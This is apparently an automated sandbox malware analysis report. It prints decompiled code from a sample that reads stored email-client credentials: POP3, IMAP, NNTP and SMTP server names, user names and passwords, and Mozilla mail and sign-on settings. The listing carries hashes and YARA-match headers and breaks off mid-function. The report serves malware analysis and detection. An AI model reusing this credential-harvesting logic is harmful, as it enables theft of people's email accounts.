                                                                                                              0x0040fdd5
                                                                                                              0x0040fd9e
                                                                                                              0x0040fda1
                                                                                                              0x0040fda6
                                                                                                              0x0040fdaa
                                                                                                              0x0040fdaf
                                                                                                              0x0040fdb6
                                                                                                              0x0040fdb6
                                                                                                              0x0040fdaf
                                                                                                              0x0040fdb8
                                                                                                              0x0040fdb8
                                                                                                              0x0040fdd6
                                                                                                              0x0040fdd7
                                                                                                              0x0040fdd7
                                                                                                              0x0040fdde
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fdde
                                                                                                              0x0040fc1d
                                                                                                              0x0040fc20
                                                                                                              0x0040fc23
                                                                                                              0x0040fc27
                                                                                                              0x0040fc31
                                                                                                              0x0040fc37
                                                                                                              0x0040fc3c
                                                                                                              0x0040fc41
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fc43
                                                                                                              0x0040fc47
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fc49
                                                                                                              0x0040fc51
                                                                                                              0x0040fd5c
                                                                                                              0x0040fd5c
                                                                                                              0x0040fd60
                                                                                                              0x0040fd63
                                                                                                              0x0040fd6b
                                                                                                              0x0040fd73
                                                                                                              0x0040fd7c
                                                                                                              0x0040fd81
                                                                                                              0x0040fd86
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fd88
                                                                                                              0x0040fd8f
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fd91
                                                                                                              0x00000000
                                                                                                              0x0040fd91
                                                                                                              0x0040fdc5
                                                                                                              0x0040fdc8
                                                                                                              0x0040fdc9
                                                                                                              0x00000000
                                                                                                              0x0040fdc9
                                                                                                              0x0040fc57
                                                                                                              0x0040fc57
                                                                                                              0x0040fc5b
                                                                                                              0x0040fc60
                                                                                                              0x0040fd11
                                                                                                              0x0040fd11
                                                                                                              0x0040fd15
                                                                                                              0x0040fd17
                                                                                                              0x0040fd26
                                                                                                              0x0040fd26
                                                                                                              0x0040fd2a
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fd1d
                                                                                                              0x0040fd2f
                                                                                                              0x0040fd31
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fd39
                                                                                                              0x0040fd42
                                                                                                              0x0040fd47
                                                                                                              0x0040fd4f
                                                                                                              0x0040fd52
                                                                                                              0x0040fd55
                                                                                                              0x0040fd56
                                                                                                              0x00000000
                                                                                                              0x0040fd56
                                                                                                              0x0040fd1f
                                                                                                              0x0040fd23
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fd25
                                                                                                              0x0040fd25
                                                                                                              0x0040fd2c
                                                                                                              0x00000000
                                                                                                              0x0040fc6f
                                                                                                              0x0040fc6f
                                                                                                              0x0040fc71
                                                                                                              0x0040fc97
                                                                                                              0x0040fc97
                                                                                                              0x0040fc9b
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fc8e
                                                                                                              0x0040fd0c
                                                                                                              0x0040fca1
                                                                                                              0x0040fca5
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fcb3
                                                                                                              0x0040fcbb
                                                                                                              0x0040fcc4
                                                                                                              0x0040fcc9
                                                                                                              0x0040fcd4
                                                                                                              0x0040fce3
                                                                                                              0x0040fceb
                                                                                                              0x0040fcec
                                                                                                              0x0040fcf0
                                                                                                              0x0040fcfc
                                                                                                              0x0040fd02
                                                                                                              0x0040fd03
                                                                                                              0x00000000
                                                                                                              0x0040fd03
                                                                                                              0x0040fc90
                                                                                                              0x0040fc94
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040fc96
                                                                                                              0x0040fc96
                                                                                                              0x0040fc9d
                                                                                                              0x00000000
                                                                                                              0x0040fc9d
                                                                                                              0x0040fc60
                                                                                                              0x0040fc7c
                                                                                                              0x0040fc82
                                                                                                              0x0040fc83
                                                                                                              0x00000000
                                                                                                              0x0040fc83
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              • strlen.MSVCRT ref: 0040FC27
                                                                                                              • strncmp.MSVCRT(?,00413F68,00000000,00413F68,?,?,?), ref: 0040FC37
                                                                                                              • memcpy.MSVCRT ref: 0040FCB3
                                                                                                              • atoi.MSVCRT ref: 0040FCC4
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000002,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0040FCF0
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharMultiWideatoimemcpystrlenstrncmp
                                                                                                              • String ID: AElig;$Aacute;$Acirc;$Agrave;$Aring;$Atilde;$Auml;$Ccedil;$ETH;$Eacute;$Ecirc;$Egrave;$Euml;$Iacute;$Icirc;$Igrave;$Iuml;$Ntilde;$Oacute;$Ocirc;$Ograve;$Oslash;$Otilde;$Ouml;$THORN;$Uacute;$Ucirc;$Ugrave;$Uuml;$Yacute;$aacute;$acirc;$acute;$aelig;$agrave;$amp;$apos;$aring;$atilde;$auml;$brvbar;$ccedil;$cedil;$cent;$copy;$curren;$deg;$divide;$eacute;$ecirc;$egrave;$eth;$euml;$frac12;$frac14;$frac34;$gt;$iacute;$icirc;$iexcl;$igrave;$iquest;$iuml;$laquo;$lt;$macr;$micro;$middot;$nbsp;$not;$ntilde;$oacute;$ocirc;$ograve;$ordf;$ordm;$oslash;$otilde;$ouml;$para;$plusmn;$pound;$quot;$raquo;$reg;$sect;$shy;$sup1;$sup2;$sup3;$szlig;$thorn;$times;$uacute;$ucirc;$ugrave;$uml;$uuml;$yacute;$yen;$yuml;
                                                                                                              • API String ID: 1895597112-3210201812
                                                                                                              • Opcode ID: e32dadd6ea65d4380dfb3bd6d4dee2632db13c381429c7de7dc985ffcf152ca1
                                                                                                              • Instruction ID: 7b61ab7fda62f62168f3ac6a9ee0746413b6f8a7e258cbbb94e4f4552fbd63bc
                                                                                                              • Opcode Fuzzy Hash: e32dadd6ea65d4380dfb3bd6d4dee2632db13c381429c7de7dc985ffcf152ca1
                                                                                                              • Instruction Fuzzy Hash: 49F139B08012589EDB21CF95D8487DEBFB0AF96308F5481EAD5593B241C7B94BC9CF98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004106BE Relevance: 80.8, APIs: 23, Strings: 23, Instructions: 309stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 82%
                                                                                                              			E004106BE(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				int _t58;
				int _t59;
				int _t60;
				int _t61;
				int _t63;
				void* _t96;
				void* _t99;
				void* _t102;
				void* _t105;
				void* _t108;
				void* _t111;
				void* _t114;
				void* _t117;
				void* _t123;
				void* _t194;
				void* _t196;
				void* _t201;
				char* _t202;

				_t194 = __edx;
				_t201 = __ecx;
				if(strcmp(__ecx + 0x46c, "Account_Name") == 0) {
					_t204 = _t201 + 0x460;
					E004060D0(0xff, _t201 + 0x870, E00406B74( *(_t201 + 0x460)));
					_t123 = E00406B74( *_t204);
					_t195 = _t201 + 0xf84;
					E004060D0(0xff, _t201 + 0xf84, _t123);
				}
				_t202 = _t201 + 0x46c;
				if(strcmp(_t202, "POP3_Server") == 0) {
					_t117 = E00406B74( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0x970;
					E004060D0(0xff, _t201 + 0x970, _t117);
				}
				if(strcmp(_t202, "IMAP_Server") == 0) {
					_t114 = E00406B74( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0x970;
					E004060D0(0xff, _t201 + 0x970, _t114);
				}
				if(strcmp(_t202, "NNTP_Server") == 0) {
					_t111 = E00406B74( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0x970;
					E004060D0(0xff, _t201 + 0x970, _t111);
				}
				if(strcmp(_t202, "SMTP_Server") == 0) {
					_t108 = E00406B74( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0x1084;
					E004060D0(0xff, _t201 + 0x1084, _t108);
				}
				if(strcmp(_t202, "POP3_User_Name") == 0) {
					_t105 = E00406B74( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0xb70;
					E004060D0(0xff, _t201 + 0xb70, _t105);
					 *((intOrPtr*)(_t201 + 0xf70)) = 1;
				}
				if(strcmp(_t202, "IMAP_User_Name") == 0) {
					_t102 = E00406B74( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0xb70;
					E004060D0(0xff, _t201 + 0xb70, _t102);
					 *((intOrPtr*)(_t201 + 0xf70)) = 2;
				}
				if(strcmp(_t202, "NNTP_User_Name") == 0) {
					_t99 = E00406B74( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0xb70;
					E004060D0(0xff, _t201 + 0xb70, _t99);
					 *((intOrPtr*)(_t201 + 0xf70)) = 4;
				}
				if(strcmp(_t202, "SMTP_User_Name") == 0) {
					_t96 = E00406B74( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0x1284;
					E004060D0(0xff, _t201 + 0x1284, _t96);
					 *((intOrPtr*)(_t201 + 0x1684)) = 3;
				}
				_t58 = strcmp(_t202, "POP3_Password2");
				_t214 = _t58;
				if(_t58 == 0) {
					E00410525(E00406B74( *((intOrPtr*)(_t201 + 0x460))), _t194, _t195, _t214, _t201, _t201 + 0x870);
				}
				_t59 = strcmp(_t202, "IMAP_Password2");
				_t215 = _t59;
				if(_t59 == 0) {
					E00410525(E00406B74( *((intOrPtr*)(_t201 + 0x460))), _t194, _t195, _t215, _t201, _t201 + 0x870);
				}
				_t60 = strcmp(_t202, "NNTP_Password2");
				_t216 = _t60;
				if(_t60 == 0) {
					E00410525(E00406B74( *((intOrPtr*)(_t201 + 0x460))), _t194, _t195, _t216, _t201, _t201 + 0x870);
				}
				_t61 = strcmp(_t202, "SMTP_Password2");
				_t217 = _t61;
				if(_t61 == 0) {
					E00410525(E00406B74( *((intOrPtr*)(_t201 + 0x460))), _t194, _t195, _t217, _t201, _t201 + 0xf84);
				}
				if(strcmp(_t202, "NNTP_Email_Address") == 0) {
					E004060D0(0xff, _t201 + 0xe70, E00406B74( *((intOrPtr*)(_t201 + 0x460))));
				}
				_t63 = strcmp(_t202, "SMTP_Email_Address");
				if(_t63 == 0) {
					_t203 = _t201 + 0x460;
					E004060D0(0xff, _t201 + 0xe70, E00406B74( *(_t201 + 0x460)));
					_t63 = E004060D0(0xff, _t201 + 0x1584, E00406B74( *_t203));
				}
				_push("SMTP_Port");
				_t196 = _t201 + 0x46c;
				_push(_t196);
				L004115DC();
				if(_t63 == 0) {
					_t63 = E00406512(E00406B74( *((intOrPtr*)(_t201 + 0x460))));
					 *(_t201 + 0x168c) = _t63;
				}
				_push("NNTP_Port");
				_push(_t196);
				L004115DC();
				if(_t63 == 0) {
					L35:
					_t63 = E00406512(E00406B74( *((intOrPtr*)(_t201 + 0x460))));
					 *(_t201 + 0xf78) = _t63;
				} else {
					_push("IMAP_Port");
					_push(_t196);
					L004115DC();
					if(_t63 == 0) {
						goto L35;
					} else {
						_push("POP3_Port");
						_push(_t196);
						L004115DC();
						if(_t63 == 0) {
							goto L35;
						}
					}
				}
				_push("SMTP_Secure_Connection");
				_push(_t196);
				L004115DC();
				if(_t63 == 0) {
					_t63 = E00406512(E00406B74( *((intOrPtr*)(_t201 + 0x460))));
					 *(_t201 + 0x1690) = _t63;
				}
				_push("NNTP_Secure_Connection");
				_push(_t196);
				L004115DC();
				if(_t63 == 0) {
					L41:
					 *((intOrPtr*)(_t201 + 0xf7c)) = E00406512(E00406B74( *((intOrPtr*)(_t201 + 0x460))));
				} else {
					_push("IMAP_Secure_Connection");
					_push(_t196);
					L004115DC();
					if(_t63 == 0) {
						goto L41;
					} else {
						_push("POP3_Secure_Connection");
						_push(_t196);
						L004115DC();
						if(_t63 == 0) {
							goto L41;
						}
					}
				}
				return 1;
			}























                                                                                                              0x004106be
                                                                                                              0x004106c2
                                                                                                              0x004106de
                                                                                                              0x004106e0
                                                                                                              0x004106f5
                                                                                                              0x004106fe
                                                                                                              0x00410704
                                                                                                              0x0041070a
                                                                                                              0x0041070f
                                                                                                              0x00410715
                                                                                                              0x00410725
                                                                                                              0x0041072d
                                                                                                              0x00410733
                                                                                                              0x00410739
                                                                                                              0x0041073e
                                                                                                              0x0041074e
                                                                                                              0x00410756
                                                                                                              0x0041075c
                                                                                                              0x00410762
                                                                                                              0x00410767
                                                                                                              0x00410777
                                                                                                              0x0041077f
                                                                                                              0x00410785
                                                                                                              0x0041078b
                                                                                                              0x00410790
                                                                                                              0x004107a0
                                                                                                              0x004107a8
                                                                                                              0x004107ae
                                                                                                              0x004107b4
                                                                                                              0x004107b9
                                                                                                              0x004107c9
                                                                                                              0x004107d1
                                                                                                              0x004107d7
                                                                                                              0x004107dd
                                                                                                              0x004107e3
                                                                                                              0x004107e3
                                                                                                              0x004107fc
                                                                                                              0x00410804
                                                                                                              0x0041080a
                                                                                                              0x00410810
                                                                                                              0x00410816
                                                                                                              0x00410816
                                                                                                              0x0041082f
                                                                                                              0x00410837
                                                                                                              0x0041083d
                                                                                                              0x00410843
                                                                                                              0x00410849
                                                                                                              0x00410849
                                                                                                              0x00410862
                                                                                                              0x0041086a
                                                                                                              0x00410870
                                                                                                              0x00410876
                                                                                                              0x0041087c
                                                                                                              0x0041087c
                                                                                                              0x0041088c
                                                                                                              0x00410891
                                                                                                              0x00410895
                                                                                                              0x004108aa
                                                                                                              0x004108aa
                                                                                                              0x004108b5
                                                                                                              0x004108ba
                                                                                                              0x004108be
                                                                                                              0x004108d3
                                                                                                              0x004108d3
                                                                                                              0x004108de
                                                                                                              0x004108e3
                                                                                                              0x004108e7
                                                                                                              0x004108fc
                                                                                                              0x004108fc
                                                                                                              0x00410907
                                                                                                              0x0041090c
                                                                                                              0x00410910
                                                                                                              0x00410925
                                                                                                              0x00410925
                                                                                                              0x00410939
                                                                                                              0x0041094d
                                                                                                              0x00410952
                                                                                                              0x00410959
                                                                                                              0x00410962
                                                                                                              0x00410964
                                                                                                              0x00410979
                                                                                                              0x0041098e
                                                                                                              0x00410993
                                                                                                              0x00410994
                                                                                                              0x00410999
                                                                                                              0x0041099f
                                                                                                              0x004109a0
                                                                                                              0x004109a9
                                                                                                              0x004109b7
                                                                                                              0x004109bd
                                                                                                              0x004109bd
                                                                                                              0x004109c3
                                                                                                              0x004109c8
                                                                                                              0x004109c9
                                                                                                              0x004109d2
                                                                                                              0x004109f6
                                                                                                              0x00410a02
                                                                                                              0x00410a08
                                                                                                              0x004109d4
                                                                                                              0x004109d4
                                                                                                              0x004109d9
                                                                                                              0x004109da
                                                                                                              0x004109e3
                                                                                                              0x00000000
                                                                                                              0x004109e5
                                                                                                              0x004109e5
                                                                                                              0x004109ea
                                                                                                              0x004109eb
                                                                                                              0x004109f4
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x004109f4
                                                                                                              0x004109e3
                                                                                                              0x00410a0e
                                                                                                              0x00410a13
                                                                                                              0x00410a14
                                                                                                              0x00410a1d
                                                                                                              0x00410a2b
                                                                                                              0x00410a31
                                                                                                              0x00410a31
                                                                                                              0x00410a37
                                                                                                              0x00410a3c
                                                                                                              0x00410a3d
                                                                                                              0x00410a46
                                                                                                              0x00410a6a
                                                                                                              0x00410a7c
                                                                                                              0x00410a48
                                                                                                              0x00410a48
                                                                                                              0x00410a4d
                                                                                                              0x00410a4e
                                                                                                              0x00410a57
                                                                                                              0x00000000
                                                                                                              0x00410a59
                                                                                                              0x00410a59
                                                                                                              0x00410a5e
                                                                                                              0x00410a5f
                                                                                                              0x00410a68
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00410a68
                                                                                                              0x00410a57
                                                                                                              0x00410a89

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcmp$_stricmp$memcpystrlen
                                                                                                              • String ID: Account_Name$IMAP_Password2$IMAP_Port$IMAP_Secure_Connection$IMAP_Server$IMAP_User_Name$NNTP_Email_Address$NNTP_Password2$NNTP_Port$NNTP_Secure_Connection$NNTP_Server$NNTP_User_Name$POP3_Password2$POP3_Port$POP3_Secure_Connection$POP3_Server$POP3_User_Name$SMTP_Email_Address$SMTP_Password2$SMTP_Port$SMTP_Secure_Connection$SMTP_Server$SMTP_User_Name
                                                                                                              • API String ID: 1113949926-2499304436
                                                                                                              • Opcode ID: 0c75f3a23bfcbdff00a9aa801863508d09b02361048c6915a7d59a784447564f
                                                                                                              • Instruction ID: 03d5d7842382467f3947e80262f6a1f2e973b0058f56c731c8fd5b97bb90a946
                                                                                                              • Opcode Fuzzy Hash: 0c75f3a23bfcbdff00a9aa801863508d09b02361048c6915a7d59a784447564f
                                                                                                              • Instruction Fuzzy Hash: D391517220870569E624B7329C02FD773E8AF9032DF21052FF55BE61D2EEADB981465C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040C7CF Relevance: 61.5, APIs: 21, Strings: 14, Instructions: 232stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 74%
                                                                                                              			E0040C7CF(intOrPtr __ecx, void* __edx, char* _a4, char* _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				void _v271;
				char _v272;
				void* __ebx;
				void* __edi;
				int _t64;
				int _t66;
				int _t68;
				int _t69;
				int _t72;
				int _t85;
				void* _t91;
				void* _t132;
				char* _t133;
				char* _t135;
				char* _t137;
				char* _t139;
				intOrPtr _t151;
				int _t153;
				int _t154;
				void* _t155;

				_t132 = __edx;
				_v12 = __ecx;
				_v272 = 0;
				memset( &_v271, 0, 0xff);
				_t133 = "mail.account.account";
				_t64 = strlen(_t133);
				_t148 = _t64;
				_t134 = _a4;
				if(strncmp(_a4, _t133, _t64) != 0) {
					_v8 = _v8 & 0x00000000;
				} else {
					_v8 = E0040C748(_t134,  &_v16, _t148);
				}
				if(_v8 != 0) {
					_push("identities");
					_push(_v8);
					L004115B2();
					if(_t91 == 0) {
						_t17 = _t155 + 0x604; // 0x604
						E004060D0(0xff, _t17, _a8);
					}
				}
				_t135 = "mail.server";
				_t66 = strlen(_t135);
				_t149 = _t66;
				_t136 = _a4;
				if(strncmp(_a4, _t135, _t66) != 0) {
					_v8 = _v8 & 0x00000000;
				} else {
					_v8 = E0040C6F3(_t149, _t136,  &_v272);
				}
				if(_v8 != 0) {
					_t85 = E0040CA7D(_v12 + 0xffffffe8, _t132,  &_v272);
					_push("username");
					_push(_v8);
					_t154 = _t85;
					L004115B2();
					if(_t85 == 0) {
						_t28 = _t154 + 0x204; // 0x204
						_t85 = E004060D0(0xff, _t28, _a8);
					}
					_push("type");
					_push(_v8);
					L004115B2();
					if(_t85 == 0) {
						_t31 = _t154 + 0x504; // 0x504
						_t85 = E004060D0(0xff, _t31, _a8);
					}
					_push("hostname");
					_push(_v8);
					L004115B2();
					if(_t85 == 0) {
						_t34 = _t154 + 0x104; // 0x104
						_t85 = E004060D0(0xff, _t34, _a8);
					}
					_push("port");
					_push(_v8);
					L004115B2();
					if(_t85 == 0) {
						_t85 = atoi(_a8);
						 *(_t154 + 0x804) = _t85;
					}
					_push("useSecAuth");
					_push(_v8);
					L004115B2();
					if(_t85 == 0) {
						_push("true");
						_push(_a8);
						L004115B2();
						if(_t85 == 0) {
							 *((intOrPtr*)(_t154 + 0x808)) = 1;
						}
					}
				}
				_t137 = "mail.identity";
				_t68 = strlen(_t137);
				_t150 = _t68;
				_t138 = _a4;
				_t69 = strncmp(_a4, _t137, _t68);
				if(_t69 != 0) {
					_v8 = _v8 & 0x00000000;
				} else {
					_t69 = E0040C6F3(_t150, _t138,  &_v272);
					_v8 = _t69;
				}
				if(_v8 != 0) {
					_t69 = E0040CA7D(_v12 + 0xffffffe8, _t132,  &_v272);
					_push("useremail");
					_push(_v8);
					_t153 = _t69;
					L004115B2();
					if(_t69 == 0) {
						_t51 = _t153 + 0x404; // 0x404
						_t69 = E004060D0(0xff, _t51, _a8);
					}
					_push("fullname");
					_push(_v8);
					L004115B2();
					if(_t69 == 0) {
						_t54 = _t153 + 4; // 0x4
						_t69 = E004060D0(0xff, _t54, _a8);
					}
				}
				_push("signon.signonfilename");
				_push(_a4);
				L004115B2();
				if(_t69 == 0) {
					_t151 = _v12;
					_t139 = _t151 + 0x245;
					_t152 = _t151 + 0x140;
					_t72 = strlen(_t151 + 0x140);
					_t60 = strlen(_a8) + 1; // 0x1
					if(_t72 + _t60 >= 0x104) {
						 *_t139 = 0;
					} else {
						E004062AD(_t139, _t152, _a8);
					}
				}
				return 1;
			}


























                                                                                                              0x0040c7cf
                                                                                                              0x0040c7ea
                                                                                                              0x0040c7ed
                                                                                                              0x0040c7f4
                                                                                                              0x0040c7f9
                                                                                                              0x0040c7ff
                                                                                                              0x0040c804
                                                                                                              0x0040c808
                                                                                                              0x0040c816
                                                                                                              0x0040c827
                                                                                                              0x0040c818
                                                                                                              0x0040c822
                                                                                                              0x0040c822
                                                                                                              0x0040c82f
                                                                                                              0x0040c863
                                                                                                              0x0040c868
                                                                                                              0x0040c86b
                                                                                                              0x0040c874
                                                                                                              0x0040c879
                                                                                                              0x0040c87f
                                                                                                              0x0040c884
                                                                                                              0x0040c874
                                                                                                              0x0040c885
                                                                                                              0x0040c88b
                                                                                                              0x0040c890
                                                                                                              0x0040c894
                                                                                                              0x0040c8a2
                                                                                                              0x0040c8b7
                                                                                                              0x0040c8a4
                                                                                                              0x0040c8b2
                                                                                                              0x0040c8b2
                                                                                                              0x0040c8bf
                                                                                                              0x0040c8d2
                                                                                                              0x0040c8d7
                                                                                                              0x0040c8dc
                                                                                                              0x0040c8df
                                                                                                              0x0040c8e1
                                                                                                              0x0040c8ea
                                                                                                              0x0040c8ef
                                                                                                              0x0040c8f5
                                                                                                              0x0040c8fa
                                                                                                              0x0040c8fb
                                                                                                              0x0040c900
                                                                                                              0x0040c903
                                                                                                              0x0040c90c
                                                                                                              0x0040c911
                                                                                                              0x0040c917
                                                                                                              0x0040c91c
                                                                                                              0x0040c91d
                                                                                                              0x0040c922
                                                                                                              0x0040c925
                                                                                                              0x0040c92e
                                                                                                              0x0040c933
                                                                                                              0x0040c939
                                                                                                              0x0040c93e
                                                                                                              0x0040c93f
                                                                                                              0x0040c944
                                                                                                              0x0040c947
                                                                                                              0x0040c950
                                                                                                              0x0040c955
                                                                                                              0x0040c95b
                                                                                                              0x0040c95b
                                                                                                              0x0040c961
                                                                                                              0x0040c966
                                                                                                              0x0040c969
                                                                                                              0x0040c972
                                                                                                              0x0040c974
                                                                                                              0x0040c979
                                                                                                              0x0040c97c
                                                                                                              0x0040c985
                                                                                                              0x0040c987
                                                                                                              0x0040c987
                                                                                                              0x0040c985
                                                                                                              0x0040c972
                                                                                                              0x0040c991
                                                                                                              0x0040c997
                                                                                                              0x0040c99c
                                                                                                              0x0040c9a0
                                                                                                              0x0040c9a4
                                                                                                              0x0040c9ae
                                                                                                              0x0040c9c3
                                                                                                              0x0040c9b0
                                                                                                              0x0040c9b9
                                                                                                              0x0040c9be
                                                                                                              0x0040c9be
                                                                                                              0x0040c9cb
                                                                                                              0x0040c9da
                                                                                                              0x0040c9df
                                                                                                              0x0040c9e4
                                                                                                              0x0040c9e7
                                                                                                              0x0040c9e9
                                                                                                              0x0040c9f2
                                                                                                              0x0040c9f7
                                                                                                              0x0040c9fd
                                                                                                              0x0040ca02
                                                                                                              0x0040ca03
                                                                                                              0x0040ca08
                                                                                                              0x0040ca0b
                                                                                                              0x0040ca14
                                                                                                              0x0040ca19
                                                                                                              0x0040ca1c
                                                                                                              0x0040ca21
                                                                                                              0x0040ca14
                                                                                                              0x0040ca22
                                                                                                              0x0040ca27
                                                                                                              0x0040ca2a
                                                                                                              0x0040ca33
                                                                                                              0x0040ca35
                                                                                                              0x0040ca38
                                                                                                              0x0040ca3e
                                                                                                              0x0040ca45
                                                                                                              0x0040ca54
                                                                                                              0x0040ca5f
                                                                                                              0x0040ca70
                                                                                                              0x0040ca61
                                                                                                              0x0040ca67
                                                                                                              0x0040ca6d
                                                                                                              0x0040ca5f
                                                                                                              0x0040ca7a

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040C7F4
                                                                                                              • strlen.MSVCRT ref: 0040C7FF
                                                                                                              • strncmp.MSVCRT(?,mail.account.account,00000000,mail.account.account,?,00000000,000000FF), ref: 0040C80C
                                                                                                              • _stricmp.MSVCRT(00000000,server), ref: 0040C849
                                                                                                              • _stricmp.MSVCRT(00000000,identities), ref: 0040C86B
                                                                                                              • strlen.MSVCRT ref: 0040C88B
                                                                                                              • strncmp.MSVCRT(?,mail.server,00000000,mail.server), ref: 0040C898
                                                                                                              • _stricmp.MSVCRT(00000000,username,00000000), ref: 0040C8E1
                                                                                                              • _stricmp.MSVCRT(00000000,type,00000000), ref: 0040C903
                                                                                                              • _stricmp.MSVCRT(00000000,hostname,00000000), ref: 0040C925
                                                                                                              • _stricmp.MSVCRT(00000000,port,00000000), ref: 0040C947
                                                                                                              • atoi.MSVCRT ref: 0040C955
                                                                                                                • Part of subcall function 0040C748: memset.MSVCRT ref: 0040C77E
                                                                                                                • Part of subcall function 0040C748: memcpy.MSVCRT ref: 0040C7A0
                                                                                                                • Part of subcall function 0040C748: atoi.MSVCRT ref: 0040C7B4
                                                                                                              • _stricmp.MSVCRT(00000000,useSecAuth,00000000), ref: 0040C969
                                                                                                              • _stricmp.MSVCRT(?,true,00000000), ref: 0040C97C
                                                                                                              • strlen.MSVCRT ref: 0040C997
                                                                                                              • strncmp.MSVCRT(?,mail.identity,00000000,mail.identity), ref: 0040C9A4
                                                                                                              • _stricmp.MSVCRT(00000000,useremail,00000000), ref: 0040C9E9
                                                                                                              • _stricmp.MSVCRT(00000000,fullname,00000000), ref: 0040CA0B
                                                                                                              • _stricmp.MSVCRT(?,signon.signonfilename), ref: 0040CA2A
                                                                                                              • strlen.MSVCRT ref: 0040CA45
                                                                                                              • strlen.MSVCRT ref: 0040CA4F
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _stricmp$strlen$strncmp$atoimemset$memcpy
                                                                                                              • String ID: fullname$hostname$identities$mail.account.account$mail.identity$mail.server$port$server$signon.signonfilename$true$type$useSecAuth$useremail$username
                                                                                                              • API String ID: 736090197-593045482
                                                                                                              • Opcode ID: fa6975b133b13f5067aa23c0df6e7e68559b1782356a0831ed68d1fdd542dc29
                                                                                                              • Instruction ID: 8e23c8f9271997a3be880b93158be8956f510041fead3e1da2e0ecaa9a645c54
                                                                                                              • Opcode Fuzzy Hash: fa6975b133b13f5067aa23c0df6e7e68559b1782356a0831ed68d1fdd542dc29
                                                                                                              • Instruction Fuzzy Hash: E271C972504204FADF10EB65CC42BDE77A6DF50329F20426BF506B21E1EB79AF819A5C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E4A4 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 264stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 98%
                                                                                                              			E0040E4A4(void* __ecx, intOrPtr* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, struct HDC__* _a16, long _a20, long _a24, intOrPtr _a28, signed int _a32, long _a36, intOrPtr _a40, struct tagPOINT _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, struct tagPOINT _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, char _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, long _a96, struct tagPOINT _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, struct tagSIZE _a116, struct tagRECT _a124, intOrPtr _a128, intOrPtr _a136, char _a336) {
				signed int _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v28;
				intOrPtr _v44;
				struct HWND__* _v48;
				struct HWND__* _v52;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				struct HDC__* _t169;
				struct HWND__* _t171;
				intOrPtr _t223;
				void* _t224;
				intOrPtr _t235;
				struct HWND__* _t237;
				void* _t240;
				intOrPtr* _t274;
				signed int _t275;
				signed int _t276;

				_t274 = __esi;
				_t276 = _t275 & 0xfffffff8;
				E004118A0(0x2198, __ecx);
